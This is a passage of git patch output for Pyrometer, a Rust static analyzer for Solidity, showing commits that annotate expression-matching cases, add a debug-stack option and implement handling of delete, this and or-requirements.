for binary operation".to_string(), )), (ExprRet::SingleLiteral(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: 5 + 5 let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let rhs_cvar = @@ -89,6 +90,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Ok(()) } (ExprRet::SingleLiteral(lhs), ExprRet::Single(rhs)) => { + // ie: 5 + x ContextVarNode::from(*lhs) .cast_from(&ContextVarNode::from(*rhs), self, arena) .into_expr_err(loc)?; @@ -104,6 +106,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Ok(()) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: x + 5 ContextVarNode::from(*rhs) .cast_from(&ContextVarNode::from(*lhs), self, arena) .into_expr_err(loc)?; @@ -119,6 +122,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Ok(()) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { + // ie: x + y let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let rhs_cvar = @@ -131,6 +135,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Ok(()) } (lhs @ ExprRet::Single(..), ExprRet::Multi(rhs_sides)) => { + // ie: x + (y, z), (not possible?) rhs_sides .iter() .map(|expr_ret| self.op_match(arena, ctx, loc, lhs, expr_ret, op, assign)) @@ -138,6 +143,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Ok(()) } (ExprRet::Multi(lhs_sides), rhs @ ExprRet::Single(..)) => { + // ie: (x, y) + z, (not possible?) lhs_sides .iter() .map(|expr_ret| self.op_match(arena, ctx, loc, expr_ret, rhs, op, assign)) @@ -147,6 +153,7 @@ pub trait BinOp: AnalyzerBackend + Sized { (_, ExprRet::CtxKilled(kind)) => ctx.kill(self, loc, *kind).into_expr_err(loc), (ExprRet::CtxKilled(kind), _) => ctx.kill(self, loc, *kind).into_expr_err(loc), (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => Err(ExprErr::UnhandledCombo( + // ie: (x, y) + (a, b), (not possible?) loc, format!("Unhandled combination in binop: {lhs_sides:?} {rhs_sides:?}"), )), diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 59f81700..8cbee813 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -165,12 +165,14 @@ pub trait Cmp: AnalyzerBackend + Sized { match (lhs_paths, rhs_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), (ExprRet::SingleLiteral(lhs), ExprRet::Single(rhs)) => { + // ie: 5 == x ContextVarNode::from(*lhs) .literal_cast_from(&ContextVarNode::from(*rhs), self) .into_expr_err(loc)?; self.cmp_inner(arena, ctx, loc, &ExprRet::Single(*rhs), op, rhs_paths) } (ExprRet::SingleLiteral(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: 5 == 5 let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let rhs_cvar = @@ -187,12 +189,14 @@ pub trait Cmp: AnalyzerBackend + Sized { ) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: x == 5 ContextVarNode::from(*rhs) .literal_cast_from(&ContextVarNode::from(*lhs), self) .into_expr_err(loc)?; self.cmp_inner(arena, ctx, loc, lhs_paths, op, &ExprRet::Single(*rhs)) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { + // ie: x == y let lhs_cvar = ContextVarNode::from(*lhs); let rhs_cvar = ContextVarNode::from(*rhs); tracing::trace!( @@ -260,12 +264,14 @@ pub trait Cmp: AnalyzerBackend + Sized { .into_expr_err(loc) } (l @ ExprRet::Single(_lhs), ExprRet::Multi(rhs_sides)) => { + // ie: x == [y, z] (not possible?) rhs_sides .iter() .try_for_each(|expr_ret| self.cmp_inner(arena, ctx, loc, l, op, expr_ret))?; Ok(()) } (ExprRet::Multi(lhs_sides), r @ ExprRet::Single(_)) => { + // ie: (x, y) == z (not possible?) lhs_sides .iter() .try_for_each(|expr_ret| self.cmp_inner(arena, ctx, loc, expr_ret, op, r))?; @@ -273,7 +279,10 @@ pub trait Cmp: AnalyzerBackend + Sized { } (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => { // try to zip sides if they are the same length + // ie: (x, y) == (a, b) (not possible?) + // ie: (x, y, z) == (a, b) (not possible?) if lhs_sides.len() == rhs_sides.len() { + // ie: (x, y) == (a, b) (not possible?) lhs_sides.iter().zip(rhs_sides.iter()).try_for_each( |(lhs_expr_ret, rhs_expr_ret)| { self.cmp_inner(arena, ctx, loc, lhs_expr_ret, op, rhs_expr_ret) @@ -281,6 +290,7 @@ pub trait Cmp: AnalyzerBackend + Sized { )?; Ok(()) } else { + // ie: (x, y, z) == (a, b) (not possible?) rhs_sides.iter().try_for_each(|rhs_expr_ret| { self.cmp_inner(arena, ctx, loc, lhs_paths, op, rhs_expr_ret) })?; @@ -293,200 +303,4 @@ pub trait Cmp: AnalyzerBackend + Sized { )), } } - - // fn not_eval( - // &mut self, - // _ctx: ContextNode, - // loc: Loc, - // lhs_cvar: ContextVarNode, - // ) -> Result { - // if let Some(lhs_range) = lhs_cvar.ref_range(self).into_expr_err(loc)? { - // let lhs_min = lhs_range.evaled_range_min(self, arena).into_expr_err(loc)?; - - // // invert - // if lhs_min.range_eq(&lhs_range.minimize(self, arena).into_expr_err(loc)?, self) { - // let val = Elem::Expr(RangeExpr::new( - // lhs_range.range_min().into_owned(), - // RangeOp::Not, - // Elem::Null, - // )); - - // return Ok(SolcRange::new(val.clone(), val, lhs_range.exclusions.clone())); - // } - // } - - // let min = Elem::Concrete(RangeConcrete { - // val: Concrete::Bool(false), - // loc, - // }).arenaize(self); - - // let max = Elem::Concrete(RangeConcrete { - // val: Concrete::Bool(true), - // loc, - // }).arenaize(self); - // Ok(SolcRange::new( - // min, - // max, - // vec![], - // )) - // } - - fn range_eval( - &self, - arena: &mut RangeArena>, - _ctx: ContextNode, - lhs_cvar: ContextVarNode, - rhs_cvar: ContextVarNode, - op: RangeOp, - ) -> Result { - if let Some(lhs_range) = lhs_cvar.ref_range(self)? { - if let Some(rhs_range) = rhs_cvar.ref_range(self)? { - match op { - RangeOp::Lt => { - // if lhs_max < rhs_min, we know this cmp will evaluate to - // true - - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - if let Some(Ordering::Less) = lhs_max.range_ord(&rhs_min, arena) { - return Ok(true.into()); - } - - // Similarly if lhs_min >= rhs_max, we know this cmp will evaluate to - // false - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - match lhs_min.range_ord(&rhs_max, arena) { - Some(Ordering::Greater) => { - return Ok(false.into()); - } - Some(Ordering::Equal) => { - return Ok(false.into()); - } - _ => {} - } - } - RangeOp::Gt => { - // if lhs_min > rhs_max, we know this cmp will evaluate to - // true - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - if let Some(Ordering::Greater) = lhs_min.range_ord(&rhs_max, arena) { - return Ok(true.into()); - } - - // if lhs_max <= rhs_min, we know this cmp will evaluate to - // false - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - match lhs_max.range_ord(&rhs_min, arena) { - Some(Ordering::Less) => { - return Ok(false.into()); - } - Some(Ordering::Equal) => { - return Ok(false.into()); - } - _ => {} - } - } - RangeOp::Lte => { - // if lhs_max <= rhs_min, we know this cmp will evaluate to - // true - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - match lhs_max.range_ord(&rhs_min, arena) { - Some(Ordering::Less) => { - return Ok(true.into()); - } - Some(Ordering::Equal) => { - return Ok(true.into()); - } - _ => {} - } - - // Similarly if lhs_min > rhs_max, we know this cmp will evaluate to - // false - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - if let Some(Ordering::Greater) = lhs_min.range_ord(&rhs_max, arena) { - return Ok(false.into()); - } - } - RangeOp::Gte => { - // if lhs_min >= rhs_max, we know this cmp will evaluate to - // true - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - match lhs_min.range_ord(&rhs_max, arena) { - Some(Ordering::Greater) => { - return Ok(true.into()); - } - Some(Ordering::Equal) => { - return Ok(true.into()); - } - _ => {} - } - - // if lhs_max < rhs_min, we know this cmp will evaluate to - // false - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - if let Some(Ordering::Less) = lhs_max.range_ord(&rhs_min, arena) { - return Ok(false.into()); - } - } - RangeOp::Eq => { - // if all elems are equal we know its true - // we dont know anything else - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - if let ( - Some(Ordering::Equal), - Some(Ordering::Equal), - Some(Ordering::Equal), - ) = ( - // check lhs_min == lhs_max, ensures lhs is const - lhs_min.range_ord(&lhs_max, arena), - // check lhs_min == rhs_min, checks if lhs == rhs - lhs_min.range_ord(&rhs_min, arena), - // check rhs_min == rhs_max, ensures rhs is const - rhs_min.range_ord(&rhs_max, arena), - ) { - return Ok(true.into()); - } - } - RangeOp::Neq => { - // if all elems are equal we know its true - // we dont know anything else - let lhs_min = lhs_range.evaled_range_min(self, arena)?; - let lhs_max = lhs_range.evaled_range_max(self, arena)?; - let rhs_min = rhs_range.evaled_range_min(self, arena)?; - let rhs_max = rhs_range.evaled_range_max(self, arena)?; - if let ( - Some(Ordering::Equal), - Some(Ordering::Equal), - Some(Ordering::Equal), - ) = ( - // check lhs_min == lhs_max, ensures lhs is const - lhs_min.range_ord(&lhs_max, arena), - // check lhs_min == rhs_min, checks if lhs == rhs - lhs_min.range_ord(&rhs_min, arena), - // check rhs_min == rhs_max, ensures rhs is const - rhs_min.range_ord(&rhs_max, arena), - ) { - return Ok(false.into()); - } - } - e => unreachable!("Cmp with strange op: {:?}", e), - } - Ok(SolcRange::default_bool()) - } else { - Ok(SolcRange::default_bool()) - } - } else { - Ok(SolcRange::default_bool()) - } - } } diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 6ced7c03..a5c2a2f4 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -251,6 +251,7 @@ pub trait Literal: AnalyzerBackend + Sized { }); ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Bytes(max, target)))) } else { + // hex"" ConcreteNode::from(self.add_node(Node::Concrete(Concrete::DynBytes(h)))) }; diff --git a/crates/solc-expressions/src/pre_post_in_decrement.rs b/crates/solc-expressions/src/pre_post_in_decrement.rs index 9550c32d..98a47c36 100644 --- a/crates/solc-expressions/src/pre_post_in_decrement.rs +++ b/crates/solc-expressions/src/pre_post_in_decrement.rs @@ -135,12 +135,14 @@ pub trait PrePostIncDecrement: Ok(()) } ExprRet::SingleLiteral(var) => { + // ie: 5++; (not valid syntax) ContextVarNode::from(*var) .try_increase_size(self, arena) .into_expr_err(loc)?; self.match_in_de_crement(arena, ctx, pre, increment, loc, &ExprRet::Single(*var)) } ExprRet::Single(var) => { + // ie: a++; let cvar = ContextVarNode::from(*var).latest_version_or_inherited_in_ctx(ctx, self); let elem = Elem::from(cvar); let one = Elem::from(Concrete::from(U256::from(1))).cast(elem.clone()); @@ -228,9 +230,12 @@ pub trait PrePostIncDecrement: Ok(()) } } - ExprRet::Multi(inner) => inner.iter().try_for_each(|expr| { - self.match_in_de_crement(arena, ctx, pre, increment, loc, expr) - }), + ExprRet::Multi(inner) => { + // ie: (5, 5)++; (invalid syntax) + inner.iter().try_for_each(|expr| { + self.match_in_de_crement(arena, ctx, pre, increment, loc, expr) + }) + } ExprRet::Null => Ok(()), } } From 46a559430910b9ba976adbd0439130043bc4cc0c Mon Sep 17 00:00:00 2001 From: brock elmore Date: Fri, 19 Jul 2024 17:40:51 -0700 Subject: [PATCH 25/52] more fixes --- crates/cli/src/main.rs | 4 + crates/graph/src/nodes/var_ty.rs | 2 +- crates/graph/src/var_type.rs | 2 +- crates/pyrometer/src/analyzer.rs | 2 + crates/pyrometer/src/analyzer_backend.rs | 4 + .../tests/test_data/function_calls.sol | 4 +- crates/shared/src/analyzer_like.rs | 1 + .../src/context_builder/flattened.rs | 122 +++- .../src/func_call/func_caller.rs | 6 +- .../src/func_call/intrinsic_call/address.rs | 35 +- .../intrinsic_call/intrinsic_caller.rs | 2 +- crates/solc-expressions/src/literal.rs | 4 + .../src/member_access/builtin_access.rs | 33 +- crates/solc-expressions/src/require.rs | 559 ------------------ 14 files changed, 169 insertions(+), 611 deletions(-) diff --git a/crates/cli/src/main.rs b/crates/cli/src/main.rs index 7b272ef4..735e2586 100644 --- a/crates/cli/src/main.rs +++ b/crates/cli/src/main.rs @@ -110,6 +110,9 @@ struct Args { #[clap(long)] pub minimize_debug: Option, + + #[clap(long, default_value = "false")] + pub debug_stack: bool, } pub fn subscriber() { @@ -243,6 +246,7 @@ fn main() { root: Root::RemappingsDirectory(env::current_dir().unwrap()), debug_panic: args.debug_panic || args.minimize_debug.is_some(), minimize_debug: args.minimize_debug, + debug_stack: args.debug_stack, ..Default::default() }; diff --git a/crates/graph/src/nodes/var_ty.rs b/crates/graph/src/nodes/var_ty.rs index 3bd9c5ea..cc26a73a 100644 --- a/crates/graph/src/nodes/var_ty.rs +++ b/crates/graph/src/nodes/var_ty.rs @@ -60,7 +60,7 @@ impl VarNode { let init = analyzer.parse_expr(arena, &expr, Some(parent)); let underlying = self.underlying(analyzer)?; let target_ty = VarType::try_from_idx(analyzer, underlying.ty).unwrap(); - let initer_ty = ContextVarNode::from(init).ty(analyzer)?.clone(); + let initer_ty = VarType::try_from_idx(analyzer, init).unwrap(); let mut set = false; if let Some(initer) = initer_ty.try_cast(&target_ty, analyzer)? { diff --git a/crates/graph/src/var_type.rs b/crates/graph/src/var_type.rs index 886d1b04..862dce9d 100644 --- a/crates/graph/src/var_type.rs +++ b/crates/graph/src/var_type.rs @@ -277,7 +277,7 @@ impl VarType { (Self::Concrete(from), Self::BuiltIn(to, _)) => { let from = from.underlying(analyzer)?.as_builtin(); let to = to.underlying(analyzer)?; - Ok(from.implicitly_castable_to(&to)) + Ok(from.implicitly_castable_to(to)) } (Self::BuiltIn(from, _), Self::Concrete(to)) => { let from = from.underlying(analyzer)?; diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 884b0356..621b7cbb 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -150,6 +150,7 @@ pub struct Analyzer { pub flattened: Vec, pub expr_flag: Option, pub current_asm_block: usize, + pub debug_stack: bool, } impl Default for Analyzer { @@ -191,6 +192,7 @@ impl Default for Analyzer { flattened: vec![], expr_flag: None, current_asm_block: 0, + debug_stack: false, }; a.builtin_fn_inputs = builtin_fns::builtin_fns_inputs(&mut a); diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 410b468c..7e674e5d 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -581,4 +581,8 @@ impl AnalyzerLike for Analyzer { fn expr_stack_mut(&mut self) -> &mut Vec { &mut self.flattened } + + fn debug_stack(&self) -> bool { + self.debug_stack + } } diff --git a/crates/pyrometer/tests/test_data/function_calls.sol b/crates/pyrometer/tests/test_data/function_calls.sol index fad4a930..2a84953a 100644 --- a/crates/pyrometer/tests/test_data/function_calls.sol +++ b/crates/pyrometer/tests/test_data/function_calls.sol @@ -126,7 +126,7 @@ contract C is S1, S2 { return 0; } - function a(uint256 x) internal pure override(A, B) returns (uint) { + function a(uint256 x) internal pure override(S1, S2) returns (uint) { return 50; } } @@ -144,7 +144,7 @@ contract D is S2, S1 { return 0; } - function a(uint256 x) internal pure override(A, B) returns (uint) { + function a(uint256 x) internal pure override(S1, S2) returns (uint) { return 50; } } diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index 016c8189..c435d347 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -201,4 +201,5 @@ pub trait AnalyzerLike: GraphLike { fn current_asm_block(&self) -> usize; fn expr_stack(&self) -> &[Self::FlatExpr]; fn expr_stack_mut(&mut self) -> &mut Vec; + fn debug_stack(&self) -> bool; } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index f198bfd5..bb89e873 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -8,12 +8,12 @@ use crate::{ ExprTyParser, }; use graph::{ - elem::{Elem, RangeOp}, + elem::{Elem, RangeExpr, RangeOp}, nodes::{ Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, - ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, YulFunction, + ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, TmpConstruction, YulFunction, }, - AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, + AnalyzerBackend, ContextEdge, Edge, Node, SolcRange, TypeNode, VarType, }; use shared::{ @@ -922,7 +922,9 @@ pub trait Flatten: ctx.peek_expr_flag(self) ); - // ctx.debug_expr_stack(self); + if self.debug_stack() { + let _ = ctx.debug_expr_stack(self); + } match next { Todo(loc, err_str) => Err(ExprErr::Todo(loc, err_str.to_string())), @@ -955,9 +957,11 @@ pub trait Flatten: Variable(..) => self.interp_var(arena, ctx, stack, next, parse_idx), Assign(..) => self.interp_assign(arena, ctx, next), List(_, _) => self.interp_list(ctx, stack, next, parse_idx), + This(_) => self.interp_this(ctx, next), + Delete(_) => self.interp_delete(ctx, next), // Conditional - If { .. } => self.interp_if(arena, ctx, stack, next, parse_idx), + If { .. } => self.interp_if(arena, ctx, stack, next), Requirement(..) => { ctx.set_expr_flag(self, ExprFlag::Requirement); Ok(()) @@ -998,7 +1002,6 @@ pub trait Flatten: | BitwiseAnd(loc, ..) | BitwiseXor(loc, ..) | BitwiseOr(loc, ..) => self.interp_op(arena, ctx, next, loc, false), - BitwiseNot(..) => self.interp_bit_not(arena, ctx, next), AssignAdd(loc, ..) | AssignSubtract(loc, ..) | AssignMultiply(loc, ..) @@ -1009,6 +1012,7 @@ pub trait Flatten: | AssignXor(loc, ..) | AssignShiftLeft(loc, ..) | AssignShiftRight(loc, ..) => self.interp_op(arena, ctx, next, loc, true), + BitwiseNot(..) => self.interp_bit_not(arena, ctx, next), // Comparator Not(..) => self.interp_not(arena, ctx, next), Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) @@ -1029,8 +1033,8 @@ pub trait Flatten: } // Semi useless - Parameter(_, _, _) => Ok(()), Super(..) => unreachable!(), + Parameter(_, _, _) => Ok(()), Emit(loc) => { let _ = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; Ok(()) @@ -1038,8 +1042,6 @@ pub trait Flatten: Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), // Todo - This(_) => todo!(), - Delete(_) => todo!(), UnaryPlus(_) => todo!(), Try { .. } => todo!(), @@ -1089,6 +1091,56 @@ pub trait Flatten: } } + fn interp_delete(&mut self, ctx: ContextNode, next: FlatExpr) -> Result<(), ExprErr> { + let FlatExpr::Delete(loc) = next else { + unreachable!() + }; + + let to_delete = ctx + .pop_n_latest_exprs(1, loc, self) + .into_expr_err(loc)? + .swap_remove(0); + + self.delete_match(ctx, to_delete, loc) + } + + fn delete_match( + &mut self, + ctx: ContextNode, + to_delete: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + match to_delete { + ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), + ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { + let mut new_var = self.advance_var_in_ctx(cvar.into(), loc, ctx).unwrap(); + new_var.sol_delete_range(self).into_expr_err(loc) + } + ExprRet::Multi(inner) => inner + .into_iter() + .try_for_each(|i| self.delete_match(ctx, i, loc)), + ExprRet::Null => Ok(()), + } + } + + fn interp_this(&mut self, ctx: ContextNode, next: FlatExpr) -> Result<(), ExprErr> { + let FlatExpr::This(loc) = next else { + unreachable!() + }; + + let var = ContextVar::new_from_contract( + loc, + ctx.associated_contract(self).into_expr_err(loc)?, + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(Node::ContextVar(var)); + ctx.add_var(cvar.into(), self).into_expr_err(loc)?; + self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(cvar), self) + .into_expr_err(loc) + } + fn interp_test_command( &mut self, arena: &mut RangeArena>, @@ -1370,7 +1422,6 @@ pub trait Flatten: ctx: ContextNode, stack: &mut Vec, if_expr: FlatExpr, - parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::If { loc, @@ -1409,6 +1460,7 @@ pub trait Flatten: let false_killed = false_subctx.is_killed(self).into_expr_err(loc)? || false_subctx.unreachable(self, arena).into_expr_err(loc)?; + println!("true killed: {true_killed}, false_killed: {false_killed}"); match (true_killed, false_killed) { (true, true) => { // both have been killed, delete the child and dont process the bodies @@ -1421,7 +1473,7 @@ pub trait Flatten: // point the parse index of the parent ctx to the false body ctx.underlying_mut(self).unwrap().parse_idx = - parse_idx + true_cond + false_cond + true_body; + ctx.parse_idx(self) + true_cond + false_cond + true_body; for _ in 0..false_body { self.interpret_step(arena, ctx, loc, stack)?; } @@ -1501,7 +1553,53 @@ pub trait Flatten: self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Gte, loc) } FlatExpr::Or(..) => { - self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Or, loc) + let lhs = ContextVarNode::from(lhs.expect_single().into_expr_err(loc)?); + let rhs = ContextVarNode::from(rhs.expect_single().into_expr_err(loc)?); + let elem = Elem::Expr(RangeExpr::new(lhs.into(), RangeOp::Or, rhs.into())); + let range = SolcRange::new(elem.clone(), elem, vec![]); + let new_lhs_underlying = ContextVar { + loc: Some(loc), + name: format!( + "tmp{}({} {} {})", + ctx.new_tmp(self).into_expr_err(loc)?, + lhs.name(self).into_expr_err(loc)?, + RangeOp::Or.to_string(), + rhs.name(self).into_expr_err(loc)? + ), + display_name: format!( + "({} {} {})", + lhs.display_name(self).into_expr_err(loc)?, + RangeOp::Or.to_string(), + rhs.display_name(self).into_expr_err(loc)? + ), + storage: None, + is_tmp: true, + is_symbolic: lhs.is_symbolic(self).into_expr_err(loc)? + || rhs.is_symbolic(self).into_expr_err(loc)?, + is_return: false, + tmp_of: Some(TmpConstruction::new(lhs, RangeOp::Or, Some(rhs))), + dep_on: { + let mut deps = lhs.dependent_on(self, true).into_expr_err(loc)?; + deps.extend(rhs.dependent_on(self, true).into_expr_err(loc)?); + Some(deps) + }, + ty: VarType::BuiltIn( + self.builtin_or_add(Builtin::Bool).into(), + Some(range), + ), + }; + let or_var = ContextVarNode::from(self.add_node(new_lhs_underlying)); + let node = self.add_concrete_var(ctx, Concrete::Bool(true), loc)?; + ctx.add_var(node, self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + self.handle_require_inner( + arena, + ctx, + &ExprRet::Single(or_var.into()), + &ExprRet::Single(node.into()), + RangeOp::Eq, + loc, + ) } FlatExpr::And(..) => { self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::And, loc) diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 9a375bd7..ce2fde4b 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -142,9 +142,9 @@ pub trait FuncCaller: modifier_state: &Option, ) -> Result<(), ExprErr> { if !entry_call { - // if let Ok(true) = self.apply(arena, ctx, loc, func_node, params, inputs, &mut vec![]) { - // return Ok(()); - // } + if let Ok(true) = self.apply(arena, ctx, loc, func_node, params, inputs, &mut vec![]) { + return Ok(()); + } } // pseudocode: diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index 53b4dca0..cc656d23 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -14,36 +14,6 @@ pub trait AddressCaller: AnalyzerBackend + fn address_call(&mut self, ctx: ContextNode, func_name: &str, loc: Loc) -> Result<(), ExprErr> { match func_name { "delegatecall" | "staticcall" | "call" => self.external_call(ctx, func_name, loc), - "code" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::DynamicBytes); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc) - } - "codehash" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Bytes(32)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc) - } - "balance" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Uint(256)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc) - } "send" => { let bn = self.builtin_or_add(Builtin::Bool); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; @@ -53,6 +23,11 @@ pub trait AddressCaller: AnalyzerBackend + ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(loc) } + "transfer" => { + // TODO: handle balance stuff. but otherwise, transfer does not + // produce a return value. + Ok(()) + } _ => Err(ExprErr::FunctionNotFound( loc, format!( diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 26acbc60..9754646b 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -170,7 +170,7 @@ pub trait IntrinsicFuncCaller: // abi _ if name.starts_with("abi.") => self.abi_call_inner(ctx, name, inputs, loc), // address - "delegatecall" | "staticcall" | "call" | "code" | "balance" => { + "delegatecall" | "staticcall" | "call" | "send" | "transfer" => { self.address_call(ctx, name, loc) } // array diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 5a36a31e..fe6ef683 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -286,6 +286,10 @@ pub trait Literal: AnalyzerBackend + Sized { let range = split .get(4) .copied()? + .chars() + .filter(|c| !c.is_whitespace()) + .collect::(); + let range = range .trim_start_matches('[') .trim_end_matches(']') .split(',') diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 1831fd03..52ac6120 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -34,14 +34,43 @@ pub trait BuiltinAccess: match node.underlying(self).into_expr_err(loc)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { - "delegatecall" | "call" | "staticcall" | "code" | "codehash" - | "balance" | "send" | "transfer" => { + "delegatecall" | "call" | "staticcall" | "send" | "transfer" => { // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); Ok((ExprRet::Single(func_node), true)) } + "codehash" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::Bytes(32)); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) + } + "code" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::DynamicBytes); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) + } + "balance" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::Uint(256)); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, 